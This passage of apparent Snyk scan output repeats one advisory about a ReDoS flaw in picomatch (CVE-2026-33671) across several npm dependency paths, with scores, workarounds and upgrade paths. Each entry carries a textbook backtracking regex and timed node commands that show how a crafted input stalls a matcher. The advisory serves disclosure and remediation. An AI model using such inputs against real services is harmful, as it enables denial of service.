"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `picomatch` to version 2.3.2, 3.0.2, 4.0.4 or higher.\n## References\n- [GitHub Advisory](https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj)\n- [GitHub Commit](https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d)\n", "epssDetails": { "percentile": "0.32979", "probability": "0.00404", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33671" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-c2c7-rcm5-vvqj" ] }, "packageName": "picomatch", "proprietary": false, "creationTime": "2026-03-26T08:38:58.711997Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-25T21:12:07Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-26T08:38:58.926320Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-23T15:25:37.899475Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tinyglobby@0.2.15", "picomatch@4.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.2", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tinyglobby@0.2.17", "picomatch@4.0.7" ], "isUpgradable": true, "isPatchable": false, "name": "picomatch", "version": "4.0.3" }, { "id": "SNYK-JS-PICOMATCH-15765511", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Byambadalai Sumiya" ], "semver": { "vulnerable": [ "<2.3.2", ">=3.0.0 <3.0.2", ">=4.0.0 <4.0.4" ] }, "exploit": "Not Defined", "fixedIn": [ "2.3.2", "3.0.2", "4.0.4" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "picomatch", "references": [ { "url": "https://github.com/micromatch/picomatch/security/advisories/GHSA-c2c7-rcm5-vvqj", "title": "GitHub Advisory" }, { "url": "https://github.com/micromatch/picomatch/commit/5eceecd27543b8e056b9307d69e105ea03618a7d", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-23T15:25:37.899475Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-29T08:56:30.083116Z" } ], "description": "## Overview\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) when processing crafted extglob patterns. An attacker can cause excessive CPU consumption and block the event loop by supplying crafted extglob patterns that trigger catastrophic backtracking in regular expressions. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by avoiding passing untrusted glob patterns, disabling extglob support for untrusted patterns using `noextglob: true`, rejecting or sanitizing patterns containing nested extglobs or extglob quantifiers, enforcing strict allowlists for accepted pattern syntax, running matching in an isolated worker or separate process with time and resource limits, or applying application-level request throttling and input validation for any endpoint that accepts glob patterns.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as 